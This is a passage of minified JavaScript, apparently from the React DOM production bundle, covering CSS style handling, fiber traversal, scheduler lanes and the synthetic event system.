fo={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Iv=["Webkit","ms","Moz","O"];Object.keys(fo).forEach(function(e){Iv.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),fo[t]=fo[e]})});function Nf(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||fo.hasOwnProperty(e)&&fo[e]?(""+t).trim():t+"px"}function Rf(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,o=Nf(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,o):e[n]=o}}var zv=ce({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Bl(e,t){if(t){if(zv[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(R(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(R(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(R(61))}if(t.style!=null&&typeof t.style!="object")throw Error(R(62))}}function Vl(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Hl=null;function qa(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Wl=null,yr=null,wr=null;function hc(e){if(e=Yo(e)){if(typeof Wl!="function")throw Error(R(280));var t=e.stateNode;t&&(t=ks(t),Wl(e.stateNode,e.type,t))}}function _f(e){yr?wr?wr.push(e):wr=[e]:yr=e}function Of(){if(yr){var e=yr,t=wr;if(wr=yr=null,hc(e),t)for(e=0;e<t.length;e++)hc(t[e])}}function jf(e,t){return e(t)}function Af(){}var rl=!1;function Mf(e,t,n){if(rl)return e(t,n);rl=!0;try{return jf(e,t,n)}finally{rl=!1,(yr!==null||wr!==null)&&(Af(),Of())}}function ko(e,t){var n=e.stateNode;if(n===null)return null;var r=ks(n);if(r===null)return null;n=r[t];e:switch(t){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":case"onMouseEnter":(r=!r.disabled)||(e=e.type,r=!(e==="button"||e==="input"||e==="select"||e==="textarea")),e=!r;break e;default:e=!1}if(e)return null;if(n&&typeof n!="function")throw Error(R(231,t,typeof n));return n}var Ql=!1;if(Ut)try{var Zr={};Object.defineProperty(Zr,"passive",{get:function(){Ql=!0}}),window.addEventListener("test",Zr,Zr),window.removeEventListener("test",Zr,Zr)}catch{Ql=!1}function Fv(e,t,n,r,o,i,s,l,a){var u=Array.prototype.slice.call(arguments,3);try{t.apply(n,u)}catch(d){this.onError(d)}}var po=!1,Bi=null,Vi=!1,Kl=null,$v={onError:function(e){po=!0,Bi=e}};function Uv(e,t,n,r,o,i,s,l,a){po=!1,Bi=null,Fv.apply($v,arguments)}function Bv(e,t,n,r,o,i,s,l,a){if(Uv.apply(this,arguments),po){if(po){var u=Bi;po=!1,Bi=null}else throw Error(R(198));Vi||(Vi=!0,Kl=u)}}function Jn(e){var t=e,n=e;if(e.alternate)for(;t.return;)t=t.return;else{e=t;do t=e,t.flags&4098&&(n=t.return),e=t.return;while(e)}return t.tag===3?n:null}function Lf(e){if(e.tag===13){var t=e.memoizedState;if(t===null&&(e=e.alternate,e!==null&&(t=e.memoizedState)),t!==null)return t.dehydrated}return null}function mc(e){if(Jn(e)!==e)throw Error(R(188))}function Vv(e){var t=e.alternate;if(!t){if(t=Jn(e),t===null)throw Error(R(188));return t!==e?null:e}for(var n=e,r=t;;){var o=n.return;if(o===null)break;var i=o.alternate;if(i===null){if(r=o.return,r!==null){n=r;continue}break}if(o.child===i.child){for(i=o.child;i;){if(i===n)return mc(o),e;if(i===r)return mc(o),t;i=i.sibling}throw Error(R(188))}if(n.return!==r.return)n=o,r=i;else{for(var s=!1,l=o.child;l;){if(l===n){s=!0,n=o,r=i;break}if(l===r){s=!0,r=o,n=i;break}l=l.sibling}if(!s){for(l=i.child;l;){if(l===n){s=!0,n=i,r=o;break}if(l===r){s=!0,r=i,n=o;break}l=l.sibling}if(!s)throw Error(R(189))}}if(n.alternate!==r)throw Error(R(190))}if(n.tag!==3)throw Error(R(188));return n.stateNode.current===n?e:t}function Df(e){return e=Vv(e),e!==null?If(e):null}function If(e){if(e.tag===5||e.tag===6)return e;for(e=e.child;e!==null;){var t=If(e);if(t!==null)return t;e=e.sibling}return null}var zf=Ze.unstable_scheduleCallback,vc=Ze.unstable_cancelCallback,Hv=Ze.unstable_shouldYield,Wv=Ze.unstable_requestPaint,pe=Ze.unstable_now,Qv=Ze.unstable_getCurrentPriorityLevel,Za=Ze.unstable_ImmediatePriority,Ff=Ze.unstable_UserBlockingPriority,Hi=Ze.unstable_NormalPriority,Kv=Ze.unstable_LowPriority,$f=Ze.unstable_IdlePriority,xs=null,Rt=null;function Gv(e){if(Rt&&typeof Rt.onCommitFiberRoot=="function")try{Rt.onCommitFiberRoot(xs,e,void 0,(e.current.flags&128)===128)}catch{}}var mt=Math.clz32?Math.clz32:qv,Yv=Math.log,Xv=Math.LN2;function qv(e){return e>>>=0,e===0?32:31-(Yv(e)/Xv|0)|0}var ai=64,ui=4194304;function uo(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Wi(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,o=e.suspendedLanes,i=e.pingedLanes,s=n&268435455;if(s!==0){var l=s&~o;l!==0?r=uo(l):(i&=s,i!==0&&(r=uo(i)))}else s=n&~o,s!==0?r=uo(s):i!==0&&(r=uo(i));if(r===0)return 0;if(t!==0&&t!==r&&!(t&o)&&(o=r&-r,i=t&-t,o>=i||o===16&&(i&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0<t;)n=31-mt(t),o=1<<n,r|=e[n],t&=~o;return r}function Zv(e,t){switch(e){case 1:case 2:case 4:return t+250;case 8:case 16:case 32:case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return t+5e3;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return-1;case 134217728:case 268435456:case 536870912:case 1073741824:return-1;default:return-1}}function Jv(e,t){for(var n=e.suspendedLanes,r=e.pingedLanes,o=e.expirationTimes,i=e.pendingLanes;0<i;){var s=31-mt(i),l=1<<s,a=o[s];a===-1?(!(l&n)||l&r)&&(o[s]=Zv(l,t)):a<=t&&(e.expiredLanes|=l),i&=~l}}function Gl(e){return e=e.pendingLanes&-1073741825,e!==0?e:e&1073741824?1073741824:0}function Uf(){var e=ai;return ai<<=1,!(ai&4194240)&&(ai=64),e}function ol(e){for(var t=[],n=0;31>n;n++)t.push(e);return t}function Ko(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-mt(t),e[t]=n}function eg(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var o=31-mt(n),i=1<<o;t[o]=0,r[o]=-1,e[o]=-1,n&=~i}}function Ja(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-mt(n),o=1<<r;o&t|e[r]&t&&(e[r]|=t),n&=~o}}var J=0;function Bf(e){return e&=-e,1<e?4<e?e&268435455?16:536870912:4:1}var Vf,eu,Hf,Wf,Qf,Yl=!1,ci=[],vn=null,gn=null,yn=null,Po=new Map,bo=new Map,sn=[],tg="mousedown mouseup touchcancel touchend touchstart auxclick dblclick pointercancel pointerdown pointerup dragend dragstart drop compositionend compositionstart keydown keypress keyup input textInput copy cut paste click change contextmenu reset submit".split(" ");function gc(e,t){switch(e){case"focusin":case"focusout":vn=null;break;case"dragenter":case"dragleave":gn=null;break;case"mouseover":case"mouseout":yn=null;break;case"pointerover":case"pointerout":Po.delete(t.pointerId);break;case"gotpointercapture":case"lostpointercapture":bo.delete(t.pointerId)}}function Jr(e,t,n,r,o,i){return e===null||e.nativeEvent!==i?(e={blockedOn:t,domEventName:n,eventSystemFlags:r,nativeEvent:i,targetContainers:[o]},t!==null&&(t=Yo(t),t!==null&&eu(t)),e):(e.eventSystemFlags|=r,t=e.targetContainers,o!==null&&t.indexOf(o)===-1&&t.push(o),e)}function ng(e,t,n,r,o){switch(t){case"focusin":return vn=Jr(vn,e,t,n,r,o),!0;case"dragenter":return gn=Jr(gn,e,t,n,r,o),!0;case"mouseover":return yn=Jr(yn,e,t,n,r,o),!0;case"pointerover":var i=o.pointerId;return Po.set(i,Jr(Po.get(i)||null,e,t,n,r,o)),!0;case"gotpointercapture":return i=o.pointerId,bo.set(i,Jr(bo.get(i)||null,e,t,n,r,o)),!0}return!1}function Kf(e){var t=Dn(e.target);if(t!==null){var n=Jn(t);if(n!==null){if(t=n.tag,t===13){if(t=Lf(n),t!==null){e.blockedOn=t,Qf(e.priority,function(){Hf(n)});return}}else if(t===3&&n.stateNode.current.memoizedState.isDehydrated){e.blockedOn=n.tag===3?n.stateNode.containerInfo:null;return}}}e.blockedOn=null}function Ni(e){if(e.blockedOn!==null)return!1;for(var t=e.targetContainers;0<t.length;){var n=Xl(e.domEventName,e.eventSystemFlags,t[0],e.nativeEvent);if(n===null){n=e.nativeEvent;var r=new n.constructor(n.type,n);Hl=r,n.target.dispatchEvent(r),Hl=null}else return t=Yo(n),t!==null&&eu(t),e.blockedOn=n,!1;t.shift()}return!0}function yc(e,t,n){Ni(e)&&n.delete(t)}function rg(){Yl=!1,vn!==null&&Ni(vn)&&(vn=null),gn!==null&&Ni(gn)&&(gn=null),yn!==null&&Ni(yn)&&(yn=null),Po.forEach(yc),bo.forEach(yc)}function eo(e,t){e.blockedOn===t&&(e.blockedOn=null,Yl||(Yl=!0,Ze.unstable_scheduleCallback(Ze.unstable_NormalPriority,rg)))}function To(e){function t(o){return eo(o,e)}if(0<ci.length){eo(ci[0],e);for(var n=1;n<ci.length;n++){var r=ci[n];r.blockedOn===e&&(r.blockedOn=null)}}for(vn!==null&&eo(vn,e),gn!==null&&eo(gn,e),yn!==null&&eo(yn,e),Po.forEach(t),bo.forEach(t),n=0;n<sn.length;n++)r=sn[n],r.blockedOn===e&&(r.blockedOn=null);for(;0<sn.length&&(n=sn[0],n.blockedOn===null);)Kf(n),n.blockedOn===null&&sn.shift()}var xr=Kt.ReactCurrentBatchConfig,Qi=!0;function og(e,t,n,r){var o=J,i=xr.transition;xr.transition=null;try{J=1,tu(e,t,n,r)}finally{J=o,xr.transition=i}}function ig(e,t,n,r){var o=J,i=xr.transition;xr.transition=null;try{J=4,tu(e,t,n,r)}finally{J=o,xr.transition=i}}function tu(e,t,n,r){if(Qi){var o=Xl(e,t,n,r);if(o===null)hl(e,t,r,Ki,n),gc(e,r);else if(ng(o,e,t,n,r))r.stopPropagation();else if(gc(e,r),t&4&&-1<tg.indexOf(e)){for(;o!==null;){var i=Yo(o);if(i!==null&&Vf(i),i=Xl(e,t,n,r),i===null&&hl(e,t,r,Ki,n),i===o)break;o=i}o!==null&&r.stopPropagation()}else hl(e,t,r,null,n)}}var Ki=null;function Xl(e,t,n,r){if(Ki=null,e=qa(r),e=Dn(e),e!==null)if(t=Jn(e),t===null)e=null;else if(n=t.tag,n===13){if(e=Lf(t),e!==null)return e;e=null}else if(n===3){if(t.stateNode.current.memoizedState.isDehydrated)return t.tag===3?t.stateNode.containerInfo:null;e=null}else t!==e&&(e=null);return Ki=e,null}function Gf(e){switch(e){case"cancel":case"click":case"close":case"contextmenu":case"copy":case"cut":case"auxclick":case"dblclick":case"dragend":case"dragstart":case"drop":case"focusin":case"focusout":case"input":case"invalid":case"keydown":case"keypress":case"keyup":case"mousedown":case"mouseup":case"paste":case"pause":case"play":case"pointercancel":case"pointerdown":case"pointerup":case"ratechange":case"reset":case"resize":case"seeked":case"submit":case"touchcancel":case"touchend":case"touchstart":case"volumechange":case"change":case"selectionchange":case"textInput":case"compositionstart":case"compositionend":case"compositionupdate":case"beforeblur":case"afterblur":case"beforeinput":case"blur":case"fullscreenchange":case"focus":case"hashchange":case"popstate":case"select":case"selectstart":return 1;case"drag":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"mousemove":case"mouseout":case"mouseover":case"pointermove":case"pointerout":case"pointerover":case"scroll":case"toggle":case"touchmove":case"wheel":case"mouseenter":case"mouseleave":case"pointerenter":case"pointerleave":return 4;case"message":switch(Qv()){case Za:return 1;case Ff:return 4;case Hi:case Kv:return 16;case $f:return 536870912;default:return 16}default:return 16}}var pn=null,nu=null,Ri=null;function Yf(){if(Ri)return Ri;var e,t=nu,n=t.length,r,o="value"in pn?pn.value:pn.textContent,i=o.length;for(e=0;e<n&&t[e]===o[e];e++);var s=n-e;for(r=1;r<=s&&t[n-r]===o[i-r];r++);return Ri=o.slice(e,1<r?1-r:void 0)}function _i(e){var t=e.keyCode;return"charCode"in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function di(){return!0}function wc(){return!1}function et(e){function t(n,r,o,i,s){this._reactName=n,this._targetInst=o,this.type=r,this.nativeEvent=i,this.target=s,this.currentTarget=null;for(var l in e)e.hasOwnProperty(l)&&(n=e[l],this[l]=n?n(i):i[l]);return this.isDefaultPrevented=(i.defaultPrevented!=null?i.defaultPrevented:i.returnValue===!1)?di:wc,this.isPropagationStopped=wc,this}return ce(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var n=this.nativeEvent;n&&(n.preventDefault?n.preventDefault():typeof n.returnValue!="unknown"&&(n.returnValue=!1),this.isDefaultPrevented=di)},stopPropagation:function(){var n=this.nativeEvent;n&&(n.stopPropagation?n.stopPropagation():typeof n.cancelBubble!="unknown"&&(n.cancelBubble=!0),this.isPropagationStopped=di)},persist:function(){},isPersistent:di}),t}var Wr={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},ru=et(Wr),Go=ce({},Wr,{view:0,detail:0}),sg=et(Go),il,sl,to,Ss=ce({},Go,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:ou,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return"movementX"in e?e.movementX:(e!==to&&(to&&e.type==="mousemove"?(il=e.screenX-to.screenX,sl=e.screenY-to.screenY):sl=il=0,to=e),il)},movementY:function(e){return"movementY"in e?e.movementY:sl}}),xc=et(Ss),lg=ce({},Ss,{dataTransfer:0}),ag=et(lg),ug=ce({},Go,{relatedTarget:0}),ll=et(ug),cg=ce({},Wr,{animationName:0,elapsedTime:0,pseudoElement:0}),dg=et(cg),fg=ce({},Wr,{clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),pg=et(fg),hg=ce({},Wr,{data:0}),Sc=et(hg),mg={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},vg={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},gg={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function yg(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=gg[e])?!!t[e]:!1}function ou(){return yg}var wg=ce({},Go,{key:function(e){if(e.key){var t=mg[e.key]||e.key;if(t!=="Unidentified")return t}return e.type==="keypress"?(e=_i(e),e===13?"Enter":String.fromCharCode(e)):e.type==="keydown"||e.type==="keyup"?vg[e.keyCode]||"Unidentified":""},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:ou,charCode:function(e){return e.type==="keypress"?_i(e):0},keyCode:function(e){return e.type==="keydown"||e.type==="keyup"?e.keyCode:0},which:function(e){return e.type==="keypress"?_i(e):e.type==="keydown"||e.type==="keyup"?e.keyCode:0}}),xg=et(wg),Sg=ce({},Ss,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0}),Ec=et(Sg),Eg=ce({},Go,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:ou}),Cg=et(Eg),kg=ce({},Wr,{propertyName:0,elapsedTime:0,pseudoElement:0}),Pg=et(kg),bg=ce({},Ss,{deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0}),Tg=et(bg),Ng=[9,13,27,32],iu=Ut&&"CompositionEvent"in window,ho=null;Ut&&"documentMode"in document&&(ho=document.documentMode);var Rg=Ut&&"TextEvent"in window&&!ho,Xf=Ut&&(!iu||ho&&8<ho&&11>=ho),Cc=" ",kc=!1;function qf(e,t){switch(e){case"keyup":return Ng.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Zf(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var lr=!1;function _g(e,t){switch(e){case"compositionend":return Zf(t);case"keypress":return t.which!==32?null:(kc=!0,Cc);case"textInput":return e=t.data,e===Cc&&kc?null:e;default:return null}}function Og(e,t){if(lr)return e==="compositionend"||!iu&&qf(e,t)?(e=Yf(),Ri=nu=pn=null,lr=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case"compositionend":return Xf&&t.locale!=="ko"?null:t.data;default:return null}}var jg={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Pc(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t==="input"?!!jg[e.type]:t==="textarea"}function Jf(e,t,n,r){_f(r),t=Gi(t,"onChange"),0<t.length&&(n=new ru("onChange","change",null,n,r),e.push({event:n,listeners:t}))}var mo=null,No=null;function Ag(e){cp(e,0)}function Es(e){var t=cr(e);if(Cf(t))return e}function Mg(e,t){if(e==="change")return t}var ep=!1;if(Ut){var al;if(Ut){var ul="oninput"in document;if(!ul){var bc=document.createElement("div");bc.setAttribute("oninput","return;"),ul=typeof bc.oninput=="function"}al=ul}else al=!1;ep=al&&(!document.documentMode||9<document.documentMode)}function Tc(){mo&&(mo.detachEvent("onpropertychange",tp),No=mo=null)}function tp(e){if(e.propertyName==="value"&&Es(No)){var t=[];Jf(t,No,e,qa(e)),Mf(Ag,t)}}function Lg(e,t,n){e==="focusin"?(Tc(),mo=t,No=n,mo.attachEvent("onpropertychange",tp)):e==="focusout"&&Tc()}function Dg(e){if(e==="selectionchange"||e==="keyup"||e==="keydown")return Es(No)}function Ig(e,t){if(e==="click")return Es(t)}function zg(e,t){if(e==="input"||e==="change")return Es(t)}function Fg(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var gt=typeof Object.is=="function"?Object.is:Fg;function Ro(e,t){if(gt(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var o=n[r];if(!jl.call(t,o)||!gt(e[o],t[o]))return!1}return!0}function Nc(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Rc(e,t){var n=Nc(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Nc(n)}}function np(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?np(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function rp(){for(var e=window,t=Ui();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=Ui(e.document)}return t}function su(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function $g(e){var t=rp(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&np(n.ownerDocument.documentElement,n)){if(r!==null&&su(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var o=n.textContent.length,i=Math.min(r.start,o);r=r.end===void 0?i:Math.min(r.end,o),!e.extend&&i>r&&(o=r,r=i,i=o),o=Rc(n,i);var s=Rc(n,r);o&&s&&(e.rangeCount!==1||e.anchorNode!==o.node||e.anchorOffset!==o.offset||e.focusNode!==s.node||e.focusOffset!==s.offset)&&(t=t.createRange(),t.setStart(o.node,o.offset),e.removeAllRanges(),i>r?(e.addRange(t),e.extend(s.node,s.offset)):(t.setEnd(s.node,s.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n<t.length;n++)e=t[n],e.element.scrollLeft=e.left,e.element.scrollTop=e.top}}var Ug=Ut&&"documentMode"in document&&11>=document.documentMode,ar=null,ql=null,vo=null,Zl=!1;function _c(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Zl||ar==null||ar!==Ui(r)||(r=ar,"selectionStart"in r&&su(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),vo&&Ro(vo,r)||(vo=r,r=Gi(ql,"onSelect"),0<r.length&&(t=new ru("onSelect","select",null,t,n),e.push({event:t,listeners:r}),t.target=ar)))}function fi(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n["Webkit"+e]="webkit"+t,n["Moz"+e]="moz"+t,n}var ur={animationend:fi("Animation","AnimationEnd"),animationiteration:fi("Animation","AnimationIteration"),animationstart:fi("Animation","AnimationStart"),transitionend:fi("Transition","TransitionEnd")},cl={},op={};Ut&&(op=document.createElement("div").style,"AnimationEvent"in window||(delete ur.animationend.animation,delete ur.animationiteration.animation,delete ur.animationstart.animation),"TransitionEvent"in window||delete ur.transitionend.transition);function Cs(e){if(cl[e])return cl[e];if(!ur[e])return e;var t=ur[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in op)return cl[e]=t[n];return e}var ip=Cs("animationend"),sp=Cs("animationiteration"),lp=Cs("animationstart"),ap=Cs("transitionend"),up=new Map,Oc="abort auxClick cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel".split(" ");function _n(e,t){up.set(e,t),Zn(t,[e])}for(var dl=0;dl<Oc.length;dl++){var fl=Oc[dl],Bg=fl.toLowerCase(),Vg=fl[0].toUpperCase()+fl.slice(1);_n(Bg,"on"+Vg)}_n(ip,"onAnimationEnd");_n(sp,"onAnimationIteration");_n(lp,"onAnimationStart");_n("dblclick","onDoubleClick");_n("focusin","onFocus");_n("focusout","onBlur");_n(ap,"onTransitionEnd");Lr("onMouseEnter",["mouseout","mouseover"]);Lr("onMouseLeave",["mouseout","mouseover"]);Lr("onPointerEnter",["pointerout","pointerover"]);Lr("onPointerLeave",["pointerout","pointerover"]);Zn("onChange","change click focusin focusout input keydown keyup selectionchange".split(" "));Zn("onSelect","focusout contextmenu dragend focusin keydown keyup mousedown mouseup selectionchange".split(" "));Zn("onBeforeInput",["compositionend","keypress","textInput","paste"]);Zn("onCompositionEnd","compositionend focusout keydown keypress keyup mousedown".split(" "));Zn("onCompositionStart","compositionstart focusout keydown keypress keyup mousedown".split(" "));Zn("onCompositionUpdate","compositionupdate focusout keydown keypress keyup mousedown".split(" "));var co="abort canplay canplaythrough durationchange emptied encrypted ended error loadeddata loadedmetadata loadstart pause play playing progress ratechange resize seeked seeking stalled suspend timeupdate volumechange waiting".split(" "),Hg=new Set("cancel close invalid load scroll toggle".split(" ").concat(co));function jc(e,t,n){var r=e.type||"unknown-event";e.currentTarget=n,Bv(r,t,void 0,e),e.currentTarget=null}function cp(e,t){t=(t&4)!==0;for(var n=0;n<e.length;n++){var r=e[n],o=r.event;r=r.listeners;e:{var i=void 0;if(t)for(var s=r.length-1;0<=s;s--){var l=r[s],a=l.instance,u=l.currentTarget;if(l=l.listener,a!==i&&o.isPropagationStopped())break e;jc(o,l,u),i=a}else for(s=0;s<r.length;s++){if(l=r[s],a=l.instance,u=l.currentTarget,l=l.listener,a!==i&&o.isPropagationStopped())break e;jc(o,l,u),i=a}}}if(Vi)throw e=Kl,Vi=!1,Kl=null,e}function oe(e,t){var n=t[ra];n===void 0&&(n=t[ra]=new Set);var r=e+"__bubble";n.has(r)||(dp(t,e,2,!1),n.add(r))}function pl(e,t,n){var r=0;t&&(r|=4),dp(n,e,r,t)}var pi="_reactListening"+Math.random().toString(36).slice(2);function _o(e){if(!e[pi]){e[pi]=!0,yf.forEach(function(n){n!=="selectionchange"&&(Hg.has(n)||pl(n,!1,e),pl(n,!0,e))});var t=e.nodeType===9?e:e.ownerDocument;t===null||t[pi]||(t[pi]=!0,pl("selectionchange",!1,t))}}function dp(e,t,n,r){switch(Gf(t)){case 1:var o=og;break;case 4:o=ig;break;default:o=tu}n=o.bind(null,t,n,e),o=void 0,!Ql||t!=="touchstart"&&t!=="touchmove"&&t!=="wheel"||(o=!0),r?o!==void 0?e.addEventListener(t,n,{capture:!0,passive:o}):e.addEventListener(t,n,!0):o!==void 0?e.addEventListener(t,n,{passive:o}):e.addEventListener(t,n,!1)}function hl(e,t,n,r,o){var i=r;if(!(t&1)&&!(t&2)&&r!==null)e:for(;;){if(r===null)return;var s=r.tag;if(s===3||s===4){var l=r.stateNode.containerInfo;if(l===o||l.nodeType===8&&l.parentNode===o)break;if(s===4)for(s=r.return;s!==null;){var a=s.tag;if((a===3||a===4)&&(a=s.stateNode.containerInfo,a===o||a.nodeType===8&&a.parentNode===o))return;s=s.return}for(;l!==null;){if(s=Dn(l),s===null)return;if(a=s.tag,a===5||a===6){r=i=s;continue e}l=l.parentNode}}r=r.return}Mf(function(){var u=i,d=qa(n),f=[];e:{var c=up.get(e);if(c!==void 0){var g=ru,y=e;switch(e){case"keypress":if(_i(n)===0)break 